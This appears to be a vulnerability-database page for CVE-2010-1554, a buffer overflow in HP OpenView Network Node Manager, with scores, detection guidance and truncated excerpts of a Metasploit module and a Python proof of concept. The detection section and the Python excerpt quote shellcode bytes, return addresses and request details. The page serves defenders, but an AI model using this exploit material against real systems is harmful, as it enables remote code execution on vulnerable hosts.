CVE-2010-1554
published 2010-05-13CVE-2010-1554: Stack-based buffer overflow in getnnmdata.exe in HP OpenView Network Node Manager (OV NNM) 7.01, 7.51, and 7.53 allows remote attackers to execute arbitrary…
PriorityP276critical10CVSS 2.0
AVNACLAuNCCICAC
EXPLOIT
EPSS
67.79%
99.2th percentile
Stack-based buffer overflow in getnnmdata.exe in HP OpenView Network Node Manager (OV NNM) 7.01, 7.51, and 7.53 allows remote attackers to execute arbitrary code via an invalid iCount parameter.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| hp | openview_network_node_manager | — | — |
| hp | openview_network_node_manager | — | — |
| hp | openview_network_node_manager | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74
bytes↗
\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7
- →Detect HTTP POST requests to /OvCgi/getnnmdata.exe with an oversized or malformed ICount parameter value (e.g., containing repeated numeric/alpha characters far exceeding normal bounds). ↗
- →Alert on HTTP requests to /OvCgi/getnnmdata.exe where the User-Agent header contains the egg-hunter tag string 'T00WT00W', which is used to carry shellcode in the exploit. ↗
- →Detect the egghunter byte sequence (\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74) in HTTP POST body traffic destined for /OvCgi/getnnmdata.exe. ↗
- →Flag POST requests to /OvCgi/getnnmdata.exe where the ICount field contains non-numeric data or is abnormally long (e.g., >100 characters), indicating a buffer overflow attempt. ↗
- →The Metasploit module uses AlphanumUpper encoder with ECX as BufferRegister and a PrependEncoder stub; look for the prepend bytes \xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff in POST body payloads. ↗
- ·The Metasploit module targets NNM 7.50 and 7.53 with different offsets and return addresses; the standalone Python PoC targets 7.53 only with a different return address (0x5A667A77 vs 0x5a666d69). Ensure the correct target offset and RET gadget are matched to the deployed NNM version. ↗
- ·The CVE also affects NNM 7.01 per NVD, but neither public exploit targets that version; detection coverage for 7.01 deployments may require additional testing. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
HP OpenView Network Node Manager (OV NNM) - 'getnnmdata.exe ICount' CGI Buffer Overflow (Metasploit)
exploitdb·2011-03-24
CVE-2010-1554 HP OpenView Network Node Manager (OV NNM) - 'getnnmdata.exe ICount' CGI Buffer Overflow (Metasploit)
HP OpenView Network Node Manager (OV NNM) - 'getnnmdata.exe ICount' CGI Buffer Overflow (Metasploit)
---
##
# $Id: hp_nnm_getnnmdata_icount.rb 12121 2011-03-24 00:49:33Z swtornio $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'HEAD', :uri => '/OvCgi/getnnmdata.exe', :pattern => /Hewlett-Packard Development Company/ }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'HP OpenView Network Node Manager getnnmdata.exe (ICount) CGI Buffer Overflow',
'Descrip
Exploit-DB
HP OpenView Network Node Manager (OV NNM) - 'getnnmdata.exe' CGI Invalid ICount Remote Code Execution
exploitdb·2010-07-02·CVSS 10.0
CVE-2010-1554 [CRITICAL] HP OpenView Network Node Manager (OV NNM) - 'getnnmdata.exe' CGI Invalid ICount Remote Code Execution
HP OpenView Network Node Manager (OV NNM) - 'getnnmdata.exe' CGI Invalid ICount Remote Code Execution
---
# Exploit Title: HP OpenView NNM getnnmdata.exe CGI Invalid ICount Remote Code Execution
# Date: 2010.07.02
# Author: S2 Crew [Hungary]
# Software Link: hp.com
# Version: 7.53
# Tested on: Windows 2003
# CVE: CVE-2010-1554
# Code :
#!/usr/bin/python
import struct
import socket
import httplib
import urllib
# calc.exe Windows Execute Command
sc2 = (
"\x89\xe7\xdb\xc4\xd9\x77\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
"\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
"\x4c\x4a\x48\x4c\x49\x47\x70\x43\x30\x45\x50\x51\x70\x4f\x79"
"\x4d\x35\x50\x31\x4b\x
Metasploit
HP OpenView Network Node Manager getnnmdata.exe (ICount) CGI Buffer Overflow
metasploit
HP OpenView Network Node Manager getnnmdata.exe (ICount) CGI Buffer Overflow
HP OpenView Network Node Manager getnnmdata.exe (ICount) CGI Buffer Overflow
This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53. By sending specially crafted ICount parameter to the getnnmdata.exe CGI, an attacker may be able to execute arbitrary code.
http://marc.info/?l=bugtraq&m=127360750704351&w=2http://securityreason.com/securityalert/8154http://www.exploit-db.com/exploits/14181http://www.securityfocus.com/archive/1/511249/100/0/threadedhttp://zerodayinitiative.com/advisories/ZDI-10-085/http://marc.info/?l=bugtraq&m=127360750704351&w=2http://securityreason.com/securityalert/8154http://www.exploit-db.com/exploits/14181http://www.securityfocus.com/archive/1/511249/100/0/threadedhttp://zerodayinitiative.com/advisories/ZDI-10-085/
2010-05-13
Published